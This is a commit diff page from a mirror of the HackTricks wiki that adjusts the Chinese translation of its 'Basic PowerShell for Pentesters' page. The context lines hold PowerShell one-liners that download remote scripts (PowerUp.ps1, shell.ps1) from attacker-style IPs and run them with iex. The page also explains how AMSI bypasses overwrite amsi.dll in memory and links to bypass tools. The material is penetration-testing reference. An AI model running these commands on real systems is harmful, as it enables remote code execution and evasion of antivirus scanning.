maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM

Browse Source
This commit is contained in:
Translator 2025-01-22 16:13:52 +00:00
parent 1648dde829
commit 11169a6406
1 changed files with 2 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
src/windows-hardening/basic-powershell-for-pentesters/README.md
View File

@ -18,7 +18,6 @@ Get-Command -Module <modulename>
```
## 下载与执行
```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
@ -117,7 +116,7 @@ ValueData : 0
**`amsi.dll`** 被 **加载** 到你的进程中，并具有任何应用程序交互所需的 **导出**。由于它被加载到你 **控制** 的进程的内存空间中，你可以通过 **覆盖内存中的指令** 来改变其行为。使其无法检测任何内容。
因此，AMSI 绕过的目标是 **覆盖该 DLL 在内存中的指令，使检测无效**。
因此，你将使用的 AMSI 绕过的目标是 **覆盖内存中该 DLL 的指令，使检测无效**。
**AMSI 绕过生成器** 网页: [**https://amsi.fail/**](https://amsi.fail/)
```powershell
@ -186,7 +185,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
### AMSI Bypass - More Resources
- [S3cur3Th1sSh1t/Amsi-Bypass-Powershell](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)
- [2023年在Windows 11上绕过Amsi](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
- [2023年在 Windows 11 上的 Amsi Bypass](https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6) [Github](https://github.com/senzee1984/Amsi_Bypass_In_2023)
## PS-History
```powershell